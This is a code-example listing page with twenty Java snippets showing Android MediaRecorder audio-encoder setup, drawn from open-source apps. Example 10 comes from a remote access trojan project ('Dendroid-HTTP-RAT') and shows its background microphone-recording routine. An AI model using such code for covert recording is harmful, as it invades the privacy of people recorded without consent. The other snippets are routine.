Java Code Examples for android.media.MediaRecorder#setAudioEncoder()
The following examples show how to use
android.media.MediaRecorder#setAudioEncoder() .
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: MediaRecorderSystemImpl.java From FamilyChat with Apache License 2.0 | 6 votes |
@Override public void initRecorder(Camera camera, int cameraId, Surface surface, String filePath) { mMediaRecorder = new MediaRecorder(); mMediaRecorder.reset(); if (camera != null) mMediaRecorder.setCamera(camera); mMediaRecorder.setOnErrorListener(this); mMediaRecorder.setPreviewDisplay(surface); mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);//视频源 mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);//音频源 mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);//视频输出格式 也可设为3gp等其他格式 mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频格式 mMediaRecorder.setVideoSize(640, 480);//设置分辨率,市面上大多数都支持640*480 // mediaRecorder.setVideoFrameRate(25);//设置每秒帧数 这个设置有可能会出问题,有的手机不支持这种帧率就会录制失败,这里使用默认的帧率,当然视频的大小肯定会受影响 //这里设置可以调整清晰度 mMediaRecorder.setVideoEncodingBitRate(2 * 1024 * 512); if (cameraId == Camera.CameraInfo.CAMERA_FACING_BACK) mMediaRecorder.setOrientationHint(90); else mMediaRecorder.setOrientationHint(270); mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);//视频录制格式 mMediaRecorder.setOutputFile(filePath); }
Example 2
Source File: AudioRecordingActivity.java From coursera-android with MIT License | 6 votes |
private void startRecording() { mRecorder = new MediaRecorder(); mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); mRecorder.setOutputFile(mFileName); mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); try { mRecorder.prepare(); } catch (IOException e) { Log.e(TAG, "Couldn't prepare and start MediaRecorder"); } mRecorder.start(); }
Example 3
Source File: AudioDataCollector.java From DataLogger with MIT License | 6 votes |
public void prepare(int samplingRate) { Log.i(TAG,"prepare:: Preparing listener for sensor "+getSensorName()); mRecorder = new MediaRecorder(); mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_WB); if (samplingRate != 0){ mRecorder.setAudioSamplingRate(samplingRate); } logFile = LoggerHelper.defineLogFilename(mContext, mPath, mBaseLogFilename, "3gp", false, mNanosOffset); mRecorder.setOutputFile(logFile.getAbsolutePath()); try { mRecorder.prepare(); } catch (IOException e) { Log.e(TAG, "::prepare Error creating collector: " + e.getMessage()); } }
Example 4
Source File: OBVideoRecorder.java From GLEXP-Team-onebillion with Apache License 2.0 | 6 votes |
protected void initRecorder() { mediaRecorder = new MediaRecorder(); mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); mediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE); mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4); mediaRecorder.setVideoEncodingBitRate(100000000); mediaRecorder.setVideoFrameRate(30); mediaRecorder.setVideoSize(videoSize.getWidth(),videoSize.getHeight()); mediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264); mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC); mediaRecorder.setAudioEncodingBitRate(128000); mediaRecorder.setAudioSamplingRate(44100); mediaRecorder.setOutputFile(recordedPath); }
Example 5
Source File: AudioRecorder.java From zom-android-matrix with Apache License 2.0 | 5 votes |
public void startAudioRecording() { AudioManager am = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE); if (am.getMode() == AudioManager.MODE_NORMAL) { mediaRecorder = new MediaRecorder(); String fileName = UUID.randomUUID().toString().substring(0, 8) + ".m4a"; outputFilePath = new File(context.getFilesDir(), fileName); mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4); mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC); //maybe we can modify these in the future, or allow people to tweak them mediaRecorder.setAudioChannels(1); mediaRecorder.setAudioEncodingBitRate(22050); mediaRecorder.setAudioSamplingRate(64000); mediaRecorder.setOutputFile(outputFilePath.getAbsolutePath()); try { isAudioRecording = true; mediaRecorder.prepare(); mediaRecorder.start(); if (getVisualizerView() != null) { startLevelListener(); } } catch (Exception e) { Log.e(LOG_TAG, "couldn't start audio", e); } } }
Example 6
Source File: RecordingService.java From GravityBox with Apache License 2.0 | 5 votes |
private void startRecording() { String statusMessage = ""; String audioFileName = prepareOutputFile(); try { mRecorder = new MediaRecorder(); mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); mRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4); mRecorder.setOutputFile(audioFileName); mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC); mRecorder.setAudioEncodingBitRate(96000); mRecorder.setAudioSamplingRate(mSamplingRate); mRecorder.setOnErrorListener(mOnErrorListener); mRecorder.prepare(); mRecorder.start(); mRecordingStatus = RECORDING_STATUS_STARTED; startForeground(1, mRecordingNotif); } catch (Exception e) { e.printStackTrace(); mRecordingStatus = RECORDING_STATUS_ERROR; statusMessage = e.getMessage(); } finally { Intent i = new Intent(ACTION_RECORDING_STATUS_CHANGED); i.putExtra(EXTRA_RECORDING_STATUS, mRecordingStatus); if (mRecordingStatus == RECORDING_STATUS_STARTED) { i.putExtra(EXTRA_AUDIO_FILENAME, audioFileName); } i.putExtra(EXTRA_STATUS_MESSAGE, statusMessage); sendBroadcast(i); } }
Example 7
Source File: AudioRecorderActivity.java From microbit with Apache License 2.0 | 5 votes |
private void startRecording() { releaseRecorder(); mRecorder = new MediaRecorder(); mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); mRecordFileOutput = getAudioFilename(); //TODO: check disk space left? mRecorder.setOutputFile(mRecordFileOutput.getPath()); mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); try { mRecorder.prepare(); } catch(IOException e) { releaseRecorder(); //TODO: show popup for failure? Log.e(TAG, e.toString()); return; } mRecorder.start(); mIsRecording = true; //UI update chronometer.setBase(SystemClock.elapsedRealtime()); chronometer.start(); filenameTxt.setText(mRecordFileOutput.getName()); imageMic.setImageDrawable(drawable_mic_on); }
Example 8
Source File: AudioUtil.java From Android with MIT License | 5 votes |
/** * record voice */ public void prepareAudio() { File dir = FileUtil.newContactFile(FileUtil.FileType.VOICE); if (dir == null) { return; } if (!dir.exists()) { dir.mkdirs(); } recordPath = generateAudioName(); mediaRecorder = new MediaRecorder(); try { mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); mediaRecorder.setOutputFile(recordPath); mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.RAW_AMR); mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); mediaRecorder.prepare(); mediaRecorder.start(); } catch (Exception e) { //When you enter the chat interface, Home key to exit the voice off e.printStackTrace(); recordListener.startError(); mediaRecorder = null; return; } recordTimer.start(); if (recordListener != null) { recordListener.wellPrepared(); } }
Example 9
Source File: AudioManager.java From PlayTogether with Apache License 2.0 | 5 votes |
/** * 准备录音 */ public void prepareAudio() { try { isPrepare = false; File dir = new File(mDir); if (!dir.exists()) dir.mkdirs(); String fileName = UUID.randomUUID() + ".amr"; mFile = new File(dir, fileName); mMediaRecorder = new MediaRecorder(); mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); mMediaRecorder.setOutputFile(mFile.getAbsolutePath()); mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.AMR_NB); mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); mMediaRecorder.prepare(); mMediaRecorder.start(); isPrepare = true; if (mAudioStateListener != null) { mAudioStateListener.hadPrepare(); } } catch (Exception e) { e.printStackTrace(); isPrepare = false; } }
Example 10
Source File: MyService.java From Dendroid-HTTP-RAT with GNU General Public License v3.0 | 5 votes |
@Override protected String doInBackground(String... params) { MediaRecorder recorder = new MediaRecorder();; SimpleDateFormat sdf = new SimpleDateFormat("yyyy_MM_dd_HH_mm"); String currentDateandTime = sdf.format(new Date()); String filename =currentDateandTime + ".3gp"; File diretory = new File(PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("File", "") + File.separator + "Audio"); diretory.mkdirs(); File outputFile = new File(diretory, filename); recorder.setAudioSource(MediaRecorder.AudioSource.MIC); recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); recorder.setMaxDuration(Integer.parseInt(i)); recorder.setMaxFileSize(1000000); recorder.setOutputFile(outputFile.toString()); try { recorder.prepare(); recorder.start(); } catch (IOException e) { Log.i("com.connect", "io problems while preparing"); e.printStackTrace(); } return "Executed"; }
Example 11
Source File: AudioRecorder.java From continuous-audiorecorder with BSD 2-Clause "Simplified" License | 5 votes |
/** * Continues an existing record or starts a new one. * * @param listener The listener instance. */ @SuppressLint("NewApi") public void start(@NonNull final OnStartListener listener) { StartRecordTask task = new StartRecordTask(); mMediaRecorder = new MediaRecorder(); mMediaRecorder.setAudioEncodingBitRate(mMediaRecorderConfig.mAudioEncodingBitRate); mMediaRecorder.setAudioChannels(mMediaRecorderConfig.mAudioChannels); mMediaRecorder.setAudioSource(mMediaRecorderConfig.mAudioSource); mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4); mMediaRecorder.setOutputFile(getTemporaryFileName()); mMediaRecorder.setAudioEncoder(mMediaRecorderConfig.mAudioEncoder); task.execute(listener); }
Example 12
Source File: QiscusAudioRecorder.java From qiscus-sdk-android with Apache License 2.0 | 5 votes |
private void startRecording(String fileName) throws IOException { if (!recording) { this.fileName = fileName; recording = true; recorder = new MediaRecorder(); recorder.setAudioSource(MediaRecorder.AudioSource.MIC); recorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4); recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC); recorder.setOutputFile(fileName); recorder.prepare(); recorder.start(); } }
Example 13
Source File: AudioRecorder.java From ChatMessagesAdapter-android with BSD 3-Clause "New" or "Revised" License | 5 votes |
private void initMediaRecorder() { recorder = new MediaRecorder(); recorder.setAudioSource(configurationBuilder.audioSource); recorder.setOutputFormat(configurationBuilder.outputFormat); recorder.setOutputFile(configurationBuilder.filePath); recorder.setAudioChannels(configurationBuilder.channels); recorder.setAudioEncoder(configurationBuilder.audioEncoder); recorder.setAudioEncodingBitRate(configurationBuilder.bitRate); recorder.setAudioSamplingRate(configurationBuilder.samplingRate); recorder.setMaxDuration(configurationBuilder.duration); recorder.setOnInfoListener(new OnInfoListenerImpl()); recorder.setOnErrorListener(new OnErrorListenerImpl()); }
Example 14
Source File: QPMScreenRecorderManager.java From QPM with Apache License 2.0 | 5 votes |
private void start(Activity activity, int resultCode, Intent data) { if (mediaProjectionManager == null) { return; } startTime = System.currentTimeMillis(); try { mediaProjection = mediaProjectionManager.getMediaProjection(resultCode, data); DisplayMetrics metrics = new DisplayMetrics(); activity.getWindowManager().getDefaultDisplay().getMetrics(metrics); int screenWidth = metrics.widthPixels; int screenHeight = metrics.heightPixels; int density = metrics.densityDpi; mediaRecorder = new MediaRecorder(); mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); mediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE); mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4); mediaRecorder.setOutputFile(getSaveFile()); mediaRecorder.setVideoSize(screenWidth, screenHeight); mediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.DEFAULT); mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT); mediaRecorder.setVideoEncodingBitRate(screenWidth * screenHeight); mediaRecorder.setVideoFrameRate(30); mediaRecorder.prepare(); display = mediaProjection.createVirtualDisplay(QPMScreenRecorderManager.class.getSimpleName(), screenWidth, screenHeight, density, DisplayManager.VIRTUAL_DISPLAY_FLAG_AUTO_MIRROR, mediaRecorder.getSurface(), null, null); mediaRecorder.start(); } catch (Exception e){ e.printStackTrace(); onRecorderFailed(activity); } }
Example 15
Source File: noxmllayoutexample.java From ui with Apache License 2.0 | 5 votes |
private void startRecording() { mRecorder = new MediaRecorder(); mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); mRecorder.setOutputFile(mFileName); mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); try { mRecorder.prepare(); } catch (IOException e) { Log.e(LOG_TAG, "prepare() failed"); } mRecorder.start(); }
Example 16
Source File: ConversationDetailActivity.java From Zom-Android-XMPP with GNU General Public License v3.0 | 4 votes |
public void startAudioRecording () { int permissionCheck = ContextCompat.checkSelfPermission(this, Manifest.permission.RECORD_AUDIO); if (permissionCheck ==PackageManager.PERMISSION_DENIED) { // Should we show an explanation? if (ActivityCompat.shouldShowRequestPermissionRationale(this, Manifest.permission.RECORD_AUDIO)) { // Show an expanation to the user *asynchronously* -- don't block // this thread waiting for the user's response! After the user // sees the explanation, try again to request the permission. Snackbar.make(mConvoView.getHistoryView(), R.string.grant_perms, Snackbar.LENGTH_LONG).show(); } else { // No explanation needed, we can request the permission. ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.RECORD_AUDIO}, MY_PERMISSIONS_REQUEST_AUDIO); // MY_PERMISSIONS_REQUEST_READ_CONTACTS is an // app-defined int constant. The callback method gets the // result of the request. } } else { AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE); if (am.getMode() == AudioManager.MODE_NORMAL) { mMediaRecorder = new MediaRecorder(); String fileName = UUID.randomUUID().toString().substring(0, 8) + ".m4a"; mAudioFilePath = new File(getFilesDir(), fileName); mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4); mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC); //maybe we can modify these in the future, or allow people to tweak them mMediaRecorder.setAudioChannels(1); mMediaRecorder.setAudioEncodingBitRate(22050); mMediaRecorder.setAudioSamplingRate(64000); mMediaRecorder.setOutputFile(mAudioFilePath.getAbsolutePath()); try { mIsAudioRecording = true; mMediaRecorder.prepare(); mMediaRecorder.start(); } catch (Exception e) { Log.e(ImApp.LOG_TAG, "couldn't start audio", e); } } } }
Example 17
Source File: Camera2.java From SimpleVideoEditor with Apache License 2.0 | 4 votes |
private boolean prepareMediaRecorder() { // 默认使用最高质量拍摄 CamcorderProfile profile = CamcorderProfile. get(Integer.valueOf((String) mConfig.getCurrentCameraId()), CamcorderProfile.QUALITY_720P); Size previewSize = chooseOptimalSize(); mMediaRecorder = new MediaRecorder(); mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.CAMCORDER); mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE); mMediaRecorder.setOutputFormat(profile.fileFormat); mMediaRecorder.setVideoFrameRate(profile.videoFrameRate); // mMediaRecorder.setVideoSize(mAspectRatio.getX(), mAspectRatio.getY()); // mMediaRecorder.setVideoSize(profile.videoFrameWidth, profile.videoFrameHeight); mMediaRecorder.setVideoSize(previewSize.getWidth(), previewSize.getHeight()); @SuppressWarnings("ConstantConditions") int sensorOrientation = mCameraCharacteristics.get( CameraCharacteristics.SENSOR_ORIENTATION); int rotation = (sensorOrientation + mDisplayOrientation * (mConfig.getCurrentFacing() == Constants.CAMERA_FACING_FRONT ? 1 : -1) + 360) % 360; mMediaRecorder.setOrientationHint(rotation); mMediaRecorder.setVideoEncodingBitRate(profile.videoBitRate); mMediaRecorder.setVideoEncoder(profile.videoCodec); mMediaRecorder.setAudioEncodingBitRate(profile.audioBitRate); mMediaRecorder.setAudioChannels(profile.audioChannels); mMediaRecorder.setAudioSamplingRate(profile.audioSampleRate); mMediaRecorder.setAudioEncoder(profile.audioCodec); mMediaRecorder.setOutputFile(mConfig.getResultFile().getAbsolutePath()); // 如果针对拍摄的文件大小和拍摄时间有设置的话,也可以在这里设置 try { mMediaRecorder.prepare(); return true; } catch (Exception e) { Log.d(TAG, "prepareMediaRecorder: " + e); } // 这个时候出现了错误,应该释放有关资源 releaseVideoRecorder(); return false; }
Example 18
Source File: CameraEngine.java From In77Camera with MIT License | 4 votes |
private boolean prepareMediaRecorder() { try { // final Activity activity = getActivity(); //if (null == activity) return false; //final BaseCaptureInterface captureInterface = (BaseCaptureInterface) activity; // setCameraDisplayOrientation(mCamera.getParameters()); mMediaRecorder = new MediaRecorder(); camera.stopPreview(); camera.unlock(); mMediaRecorder.setCamera(camera); // boolean canUseAudio = true; //boolean audioEnabled = !mInterface.audioDisabled(); //if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) // canUseAudio = ContextCompat.checkSelfPermission(activity, Manifest.permission.RECORD_AUDIO) == PackageManager.PERMISSION_GRANTED; // if (canUseAudio && audioEnabled) { mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.DEFAULT); // } else if (audioEnabled) { // Toast.makeText(getActivity(), R.string.mcam_no_audio_access, Toast.LENGTH_LONG).show(); // } mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.DEFAULT); final CamcorderProfile profile = CamcorderProfile.get(currentCameraId, CamcorderProfile.QUALITY_HIGH); mMediaRecorder.setOutputFormat(profile.fileFormat); mMediaRecorder.setVideoFrameRate(profile.videoFrameRate); mMediaRecorder.setVideoSize(previewSize.width, previewSize.height); mMediaRecorder.setVideoEncodingBitRate(profile.videoBitRate); mMediaRecorder.setVideoEncoder(profile.videoCodec); mMediaRecorder.setAudioEncodingBitRate(profile.audioBitRate); mMediaRecorder.setAudioChannels(profile.audioChannels); mMediaRecorder.setAudioSamplingRate(profile.audioSampleRate); mMediaRecorder.setAudioEncoder(profile.audioCodec); Uri uri = Uri.fromFile(FileUtils.makeTempFile( new File(Environment.getExternalStorageDirectory(), "/Omoshiroi/videos").getAbsolutePath(), "VID_", ".mp4")); mMediaRecorder.setOutputFile(uri.getPath()); // if (captureInterface.maxAllowedFileSize() > 0) { // mMediaRecorder.setMaxFileSize(captureInterface.maxAllowedFileSize()); // mMediaRecorder.setOnInfoListener(new MediaRecorder.OnInfoListener() { // @Override // public void onInfo(MediaRecorder mediaRecorder, int what, int extra) { // if (what == MediaRecorder.MEDIA_RECORDER_INFO_MAX_FILESIZE_REACHED) { // Toast.makeText(getActivity(), R.string.mcam_file_size_limit_reached, Toast.LENGTH_SHORT).show(); // stopRecordingVideo(false); // } // } // }); // } mMediaRecorder.setOrientationHint(90); // mMediaRecorder.setPreviewDisplay(mPreviewView.getHolder().getSurface()); mMediaRecorder.prepare(); return true; } catch (Exception e) { camera.lock(); e.printStackTrace(); return false; } }
Example 19
Source File: DefaultSurfaceRecorder.java From DeviceConnect-Android with MIT License | 4 votes |
private void setUpMediaRecorder(final File outputFile) throws IOException { int rotation = getWindowManager().getDefaultDisplay().getRotation(); mMediaRecorder = new MediaRecorder(); mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE); mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4); mMediaRecorder.setOutputFile(outputFile.getAbsolutePath()); mMediaRecorder.setVideoEncodingBitRate(10000000); mMediaRecorder.setVideoFrameRate(30); mMediaRecorder.setVideoSize(mVideoSize.getWidth(), mVideoSize.getHeight()); mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264); mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC); int hint; SparseIntArray orientations; if (mFacing == Camera2Recorder.CameraFacing.FRONT) { switch (rotation) { case Surface.ROTATION_0: rotation = Surface.ROTATION_0; break; case Surface.ROTATION_90: rotation = Surface.ROTATION_270; break; case Surface.ROTATION_180: rotation = Surface.ROTATION_180; break; case Surface.ROTATION_270: rotation = Surface.ROTATION_90; break; } } switch (mSensorOrientation) { case SENSOR_ORIENTATION_INVERSE_DEGREES: orientations = INVERSE_ORIENTATIONS; break; case SENSOR_ORIENTATION_DEFAULT_DEGREES: default: orientations = DEFAULT_ORIENTATIONS; break; } hint = orientations.get(rotation); mMediaRecorder.setOrientationHint(hint); mMediaRecorder.prepare(); if (DEBUG) { Log.d(TAG, "VideoSize: " + mVideoSize.getWidth() + "x" + mVideoSize.getHeight()); Log.d(TAG, "OutputFile: " + outputFile.getAbsolutePath()); Log.d(TAG, "Facing: " + mFacing.getName()); Log.d(TAG, "SensorOrientation: " + mSensorOrientation); Log.d(TAG, "DisplayRotation: " + rotation); Log.d(TAG, "OrientationHint: " + hint); } }
Example 20
Source File: ConversationDetailActivity.java From zom-android-matrix with Apache License 2.0 | 4 votes |
public void startAudioRecording () { int permissionCheck = ContextCompat.checkSelfPermission(this, Manifest.permission.RECORD_AUDIO); if (permissionCheck ==PackageManager.PERMISSION_DENIED) { // Should we show an explanation? if (ActivityCompat.shouldShowRequestPermissionRationale(this, Manifest.permission.RECORD_AUDIO)) { // Show an expanation to the user *asynchronously* -- don't block // this thread waiting for the user's response! After the user // sees the explanation, try again to request the permission. Snackbar.make(mConvoView.getHistoryView(), R.string.grant_perms, Snackbar.LENGTH_LONG).show(); } else { // No explanation needed, we can request the permission. ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.RECORD_AUDIO}, MY_PERMISSIONS_REQUEST_AUDIO); // MY_PERMISSIONS_REQUEST_READ_CONTACTS is an // app-defined int constant. The callback method gets the // result of the request. } } else { AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE); if (am.getMode() == AudioManager.MODE_NORMAL) { mMediaRecorder = new MediaRecorder(); String fileName = UUID.randomUUID().toString().substring(0, 8) + ".m4a"; mAudioFilePath = new File(getFilesDir(), fileName); mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4); mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC); //maybe we can modify these in the future, or allow people to tweak them mMediaRecorder.setAudioChannels(1); mMediaRecorder.setAudioEncodingBitRate(22050); mMediaRecorder.setAudioSamplingRate(64000); mMediaRecorder.setOutputFile(mAudioFilePath.getAbsolutePath()); try { mIsAudioRecording = true; mMediaRecorder.prepare(); mMediaRecorder.start(); } catch (Exception e) { Log.e(LOG_TAG, "couldn't start audio", e); } } } }